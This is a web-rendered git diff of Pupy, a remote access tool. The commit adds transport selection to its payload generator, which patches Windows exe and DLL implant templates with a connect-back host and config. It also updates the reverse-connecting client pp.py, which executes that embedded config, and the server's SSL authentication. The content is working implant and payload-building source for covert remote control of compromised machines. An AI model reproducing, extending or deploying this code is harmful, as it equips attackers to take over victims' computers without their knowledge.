return SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH")
|
||||||
logging.error("couldn't read pupy.conf")
|
|
||||||
|
|
||||||
transports={
|
transports={
|
||||||
"tcp_ssl" : {
|
"tcp_ssl" : {
|
||||||
"server" : PupyTCPServer,
|
"server" : PupyTCPServer,
|
||||||
"client": PupySSLClient,
|
"client": PupySSLClient,
|
||||||
"client_kwargs" : {},
|
"client_kwargs" : {},
|
||||||
"authenticator" : SSLAuthenticator(config.get("pupyd","keyfile").replace("\\",os.sep).replace("/",os.sep), config.get("pupyd","certfile").replace("\\",os.sep).replace("/",os.sep), ciphers="SHA256+AES256:SHA1+AES256:@STRENGTH"),
|
"authenticator" : ssl_authenticator,
|
||||||
"stream": PupySocketStream ,
|
"stream": PupySocketStream ,
|
||||||
"client_transport" : dummy.DummyPupyTransport,
|
"client_transport" : dummy.DummyPupyTransport,
|
||||||
"server_transport" : dummy.DummyPupyTransport,
|
"server_transport" : dummy.DummyPupyTransport,
|
||||||
|
|
Binary file not shown.
|
@ -1,6 +1,8 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
# -*- coding: UTF8 -*-
|
# -*- coding: UTF8 -*-
|
||||||
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||||
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||||
""" abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """
|
""" abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """
|
||||||
|
import sys
|
||||||
from rpyc.core import SocketStream
|
from rpyc.core import SocketStream
|
||||||
from .buffer import Buffer
|
from .buffer import Buffer
|
||||||
import socket
|
import socket
|
||||||
|
@ -9,6 +11,8 @@ import errno
|
||||||
import logging
|
import logging
|
||||||
import traceback
|
import traceback
|
||||||
from rpyc.lib.compat import select, select_error, BYTES_LITERAL, get_exc_errno, maxint
|
from rpyc.lib.compat import select, select_error, BYTES_LITERAL, get_exc_errno, maxint
|
||||||
|
import threading
|
||||||
|
retry_errnos = (errno.EAGAIN, errno.EWOULDBLOCK)
|
||||||
|
|
||||||
class PupySocketStream(SocketStream):
|
class PupySocketStream(SocketStream):
|
||||||
def __init__(self, sock, transport_class):
|
def __init__(self, sock, transport_class):
|
||||||
|
@ -21,6 +25,9 @@ class PupySocketStream(SocketStream):
|
||||||
self.downstream=Buffer(on_write=self._upstream_recv)
|
self.downstream=Buffer(on_write=self._upstream_recv)
|
||||||
self.transport=transport_class(self)
|
self.transport=transport_class(self)
|
||||||
self.on_connect()
|
self.on_connect()
|
||||||
|
#self.async_read_thread=threading.Thread(target=self._downstream_recv_loop)
|
||||||
|
#self.async_read_thread.daemon=True
|
||||||
|
#self.async_read_thread.start()
|
||||||
|
|
||||||
def on_connect(self):
|
def on_connect(self):
|
||||||
self.transport.on_connect()
|
self.transport.on_connect()
|
||||||
|
@ -28,7 +35,6 @@ class PupySocketStream(SocketStream):
|
||||||
|
|
||||||
def _read(self):
|
def _read(self):
|
||||||
try:
|
try:
|
||||||
#buf = self.sock.recv(min(self.MAX_IO_CHUNK, count))
|
|
||||||
buf = self.sock.recv(self.MAX_IO_CHUNK)
|
buf = self.sock.recv(self.MAX_IO_CHUNK)
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
return
|
return
|
||||||
|
@ -52,23 +58,29 @@ class PupySocketStream(SocketStream):
|
||||||
|
|
||||||
def _upstream_recv(self):
|
def _upstream_recv(self):
|
||||||
""" called as a callback on the downstream.write """
|
""" called as a callback on the downstream.write """
|
||||||
#print "upstream_recv"
|
|
||||||
#print "downstream=%s"%len(self.downstream)
|
|
||||||
#print "upstream=%s"%len(self.upstream)
|
|
||||||
if len(self.downstream)>0:
|
if len(self.downstream)>0:
|
||||||
#print "writing %s"%len(self.downstream.peek())
|
|
||||||
super(PupySocketStream, self).write(self.downstream.read())
|
super(PupySocketStream, self).write(self.downstream.read())
|
||||||
|
|
||||||
|
def _downstream_recv_loop(self):
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
self._read()
|
||||||
|
self.transport.downstream_recv(self.buf_in)
|
||||||
|
except EOFError as e:
|
||||||
|
self.upstream.set_eof(e)
|
||||||
|
|
||||||
|
|
||||||
def read(self, count):
|
def read(self, count):
|
||||||
try:
|
try:
|
||||||
if len(self.upstream)>=count:
|
if len(self.upstream)>=count:
|
||||||
return self.upstream.read(count)
|
return self.upstream.read(count)
|
||||||
while len(self.upstream)<count:
|
while len(self.upstream)<count:
|
||||||
if self.sock_poll(0):#to avoid waiting on the socket while a transport write on the upstream buffer resulting in deadlock
|
if self.sock_poll(0):
|
||||||
self._read()
|
self._read()
|
||||||
self.transport.downstream_recv(self.buf_in)
|
self.transport.downstream_recv(self.buf_in)
|
||||||
if len(self.upstream)<count:
|
#it seems we can actively wait here with only perf enhancement
|
||||||
time.sleep(0.1)#to avoid active wait
|
#if len(self.upstream)<count:
|
||||||
|
# self.upstream.wait(0.1)#to avoid active wait
|
||||||
return self.upstream.read(count)
|
return self.upstream.read(count)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.debug(traceback.format_exc())
|
logging.debug(traceback.format_exc())
|
||||||
|
|
Binary file not shown.
|
@ -54,7 +54,7 @@ class PupyPackageLoader:
|
||||||
self.extension = extension
|
self.extension = extension
|
||||||
self.is_pkg=is_pkg
|
self.is_pkg=is_pkg
|
||||||
self.path=path
|
self.path=path
|
||||||
#self.archive=""
|
self.archive="" #need this attribute
|
||||||
|
|
||||||
def load_module(self, fullname):
|
def load_module(self, fullname):
|
||||||
imp.acquire_lock()
|
imp.acquire_lock()
|
||||||
|
@ -159,7 +159,18 @@ class PupyPackageFinder:
|
||||||
finally:
|
finally:
|
||||||
imp.release_lock()
|
imp.release_lock()
|
||||||
|
|
||||||
|
def load_pywintypes():
|
||||||
|
#loading pywintypes27.dll :-)
|
||||||
|
global modules
|
||||||
|
try:
|
||||||
|
import pupy
|
||||||
|
pupy.load_dll("pywintypes27.dll", modules["pywintypes27.dll"])
|
||||||
|
except Exception as e:
|
||||||
|
print e
|
||||||
|
pass
|
||||||
|
|
||||||
def install():
|
def install():
|
||||||
sys.meta_path.append(PupyPackageFinder(modules))
|
sys.meta_path.append(PupyPackageFinder(modules))
|
||||||
sys.path_importer_cache.clear()
|
sys.path_importer_cache.clear()
|
||||||
|
|
||||||
|
|
||||||
|
|
24
pupy/pp.py
24
pupy/pp.py
|
@ -1,5 +1,19 @@
|
||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
# -*- coding: UTF8 -*-
|
# -*- coding: UTF8 -*-
|
||||||
|
# ---------------------------------------------------------------
|
||||||
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||||
|
# All rights reserved.
|
||||||
|
#
|
||||||
|
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
#
|
||||||
|
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
#
|
||||||
|
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
#
|
||||||
|
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
#
|
||||||
|
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||||
|
# ---------------------------------------------------------------
|
||||||
import site
|
import site
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
@ -79,6 +93,7 @@ def get_next_wait(attempt):
|
||||||
else:
|
else:
|
||||||
return random.randint(15,30)
|
return random.randint(15,30)
|
||||||
|
|
||||||
|
|
||||||
def add_pseudo_pupy_module(HOST):
|
def add_pseudo_pupy_module(HOST):
|
||||||
""" add a pseudo pupy module for *nix payloads """
|
""" add a pseudo pupy module for *nix payloads """
|
||||||
if not "pupy" in sys.modules:
|
if not "pupy" in sys.modules:
|
||||||
|
@ -90,9 +105,10 @@ def add_pseudo_pupy_module(HOST):
|
||||||
mod.get_connect_back_host=(lambda : HOST)
|
mod.get_connect_back_host=(lambda : HOST)
|
||||||
mod.pseudo=True
|
mod.pseudo=True
|
||||||
|
|
||||||
|
HOST="127.0.0.1:443"
|
||||||
|
TRANSPORT="tcp_ssl"
|
||||||
def main():
|
def main():
|
||||||
HOST="127.0.0.1:443"
|
global HOST, TRANSPORT
|
||||||
TRANSPORT="tcp_ssl"
|
|
||||||
if len(sys.argv)>1:
|
if len(sys.argv)>1:
|
||||||
parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n")
|
parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n")
|
||||||
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ")
|
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||||
|
@ -103,7 +119,9 @@ def main():
|
||||||
if "windows" in platform.system().lower():
|
if "windows" in platform.system().lower():
|
||||||
try:
|
try:
|
||||||
import pupy
|
import pupy
|
||||||
HOST=pupy.get_connect_back_host()
|
config_file=pupy.get_pupy_config()
|
||||||
|
exec config_file in globals()
|
||||||
|
pupy.get_connect_back_host=(lambda: HOST)
|
||||||
except ImportError:
|
except ImportError:
|
||||||
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -1,58 +1,46 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
# -*- coding: UTF8 -*-
|
# -*- coding: UTF8 -*-
|
||||||
# ---------------------------------------------------------------
|
|
||||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||||
# All rights reserved.
|
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||||
#
|
|
||||||
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
|
||||||
#
|
|
||||||
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
|
||||||
#
|
|
||||||
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
|
||||||
#
|
|
||||||
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
#
|
|
||||||
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
|
||||||
# ---------------------------------------------------------------
|
|
||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
import sys
|
import sys
|
||||||
import os.path
|
import os.path
|
||||||
from pupylib.utils.network import get_local_ip
|
from pupylib.utils.network import get_local_ip
|
||||||
|
from network.conf import transports
|
||||||
|
|
||||||
def get_edit_pupyx86_dll(host, ip):
|
def get_edit_pupyx86_dll(host, ip, transport):
|
||||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip)
|
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), host, ip, transport)
|
||||||
|
|
||||||
def get_edit_pupyx64_dll(host, ip):
|
def get_edit_pupyx64_dll(host, ip, transport):
|
||||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip)
|
return get_edit_binary(os.path.join("payload_templates","pupyx64.dll"), host, ip, transport)
|
||||||
|
|
||||||
def get_edit_pupyx86_exe(host, ip):
|
def get_edit_pupyx86_exe(host, ip, transport):
|
||||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip)
|
return get_edit_binary(os.path.join("payload_templates","pupyx86.exe"), host, ip, transport)
|
||||||
|
|
||||||
def get_edit_pupyx64_exe(host, ip):
|
def get_edit_pupyx64_exe(host, ip, transport):
|
||||||
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip)
|
return get_edit_binary(os.path.join("payload_templates","pupyx64.exe"), host, ip, transport)
|
||||||
|
|
||||||
def get_edit_binary(path, host, ip):
|
def get_edit_binary(path, host, port, transport, offline_script=""):
|
||||||
binary=b""
|
binary=b""
|
||||||
with open(path, 'rb') as f:
|
with open(path, 'rb') as f:
|
||||||
binary=f.read()
|
binary=f.read()
|
||||||
i=0
|
i=0
|
||||||
offsets=[]
|
offsets=[]
|
||||||
while True:
|
while True:
|
||||||
i=binary.find("<default_connect_back_host>:<default_connect_back_port>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
|
i=binary.find("####---PUPY_CONFIG_COMES_HERE---####\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", i+1)
|
||||||
if i==-1:
|
if i==-1:
|
||||||
break
|
break
|
||||||
offsets.append(i)
|
offsets.append(i)
|
||||||
|
|
||||||
if not offsets:
|
if not offsets:
|
||||||
raise Exception("Error: the offset to edit IP:PORT have not been found")
|
raise Exception("Error: the offset to edit the config have not been found")
|
||||||
elif len(offsets)!=1:
|
elif len(offsets)!=1:
|
||||||
raise Exception("Error: multiple offsets to edit IP:PORT have been found")
|
raise Exception("Error: multiple offsets to edit the config have been found")
|
||||||
|
|
||||||
new_host="%s:%s\x00\x00\x00\x00"%(host,ip)
|
new_conf="HOST=\"%s:%s\"\nTRANSPORT=%s\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script)
|
||||||
if len(new_host)>100:
|
if len(new_conf)>4092:
|
||||||
raise Exception("Error: host too long")
|
raise Exception("Error: config too long")
|
||||||
binary=binary[0:offsets[0]]+new_host+binary[offsets[0]+len(new_host):]
|
binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):]
|
||||||
return binary
|
return binary
|
||||||
|
|
||||||
|
|
||||||
|
@ -61,6 +49,7 @@ if __name__=="__main__":
|
||||||
parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)")
|
parser.add_argument('-t', '--type', default='exe_x86', choices=['exe_x86','exe_x64','dll_x86','dll_x64'], help="(default: exe_x86)")
|
||||||
parser.add_argument('-o', '--output', help="output path")
|
parser.add_argument('-o', '--output', help="output path")
|
||||||
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
|
parser.add_argument('-p', '--port', type=int, default=443, help="connect back ip (default:443)")
|
||||||
|
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default='tcp_ssl', help="the transport to use ! (the server needs to be configured with the same transport) ")
|
||||||
parser.add_argument('host', nargs='*', help="connect back host")
|
parser.add_argument('host', nargs='*', help="connect back host")
|
||||||
args=parser.parse_args()
|
args=parser.parse_args()
|
||||||
myhost=None
|
myhost=None
|
||||||
|
@ -74,28 +63,28 @@ if __name__=="__main__":
|
||||||
|
|
||||||
outpath=None
|
outpath=None
|
||||||
if args.type=="exe_x86":
|
if args.type=="exe_x86":
|
||||||
binary=get_edit_pupyx86_exe(myhost, args.port)
|
binary=get_edit_pupyx86_exe(myhost, args.port, args.transport)
|
||||||
outpath="pupyx86.exe"
|
outpath="pupyx86.exe"
|
||||||
if args.output:
|
if args.output:
|
||||||
outpath=args.output
|
outpath=args.output
|
||||||
with open(outpath, 'wb') as w:
|
with open(outpath, 'wb') as w:
|
||||||
w.write(binary)
|
w.write(binary)
|
||||||
elif args.type=="exe_x64":
|
elif args.type=="exe_x64":
|
||||||
binary=get_edit_pupyx64_exe(myhost, args.port)
|
binary=get_edit_pupyx64_exe(myhost, args.port, args.transport)
|
||||||
outpath="pupyx64.exe"
|
outpath="pupyx64.exe"
|
||||||
if args.output:
|
if args.output:
|
||||||
outpath=args.output
|
outpath=args.output
|
||||||
with open(outpath, 'wb') as w:
|
with open(outpath, 'wb') as w:
|
||||||
w.write(binary)
|
w.write(binary)
|
||||||
elif args.type=="dll_x64":
|
elif args.type=="dll_x64":
|
||||||
binary=get_edit_pupyx64_dll(myhost, args.port)
|
binary=get_edit_pupyx64_dll(myhost, args.port, args.transport)
|
||||||
outpath="pupyx64.dll"
|
outpath="pupyx64.dll"
|
||||||
if args.output:
|
if args.output:
|
||||||
outpath=args.output
|
outpath=args.output
|
||||||
with open(outpath, 'wb') as w:
|
with open(outpath, 'wb') as w:
|
||||||
w.write(binary)
|
w.write(binary)
|
||||||
elif args.type=="dll_x86":
|
elif args.type=="dll_x86":
|
||||||
binary=get_edit_pupyx86_dll(myhost, args.port)
|
binary=get_edit_pupyx86_dll(myhost, args.port, args.transport)
|
||||||
outpath="pupyx86.dll"
|
outpath="pupyx86.dll"
|
||||||
if args.output:
|
if args.output:
|
||||||
outpath=args.output
|
outpath=args.output
|
||||||
|
@ -103,7 +92,7 @@ if __name__=="__main__":
|
||||||
w.write(binary)
|
w.write(binary)
|
||||||
else:
|
else:
|
||||||
exit("Type %s is invalid."%(args.type))
|
exit("Type %s is invalid."%(args.type))
|
||||||
print "binary generated to %s with HOST=%s"%(outpath,(myhost, args.port))
|
print "binary generated to %s with HOST=%s:%s and TRANSPORT=%s"%(outpath, myhost, args.port, args.transport)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -262,7 +262,11 @@ class PupyServer(threading.Thread):
|
||||||
self.handler_registered.wait()
|
self.handler_registered.wait()
|
||||||
self.handler.display_srvinfo("Server started on %s:%s with transport %s"%(self.address, self.port, self.transport))
|
self.handler.display_srvinfo("Server started on %s:%s with transport %s"%(self.address, self.port, self.transport))
|
||||||
t=transports[self.transport]
|
t=transports[self.transport]
|
||||||
self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=t['authenticator'], stream=t['stream'], transport=t['server_transport'])
|
if t['authenticator']:
|
||||||
|
authenticator=t['authenticator']()
|
||||||
|
else:
|
||||||
|
authenticator=None
|
||||||
|
self.server = t['server'](PupyService.PupyService, port = self.port, hostname=self.address, authenticator=authenticator, stream=t['stream'], transport=t['server_transport'])
|
||||||
self.server.start()
|
self.server.start()
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue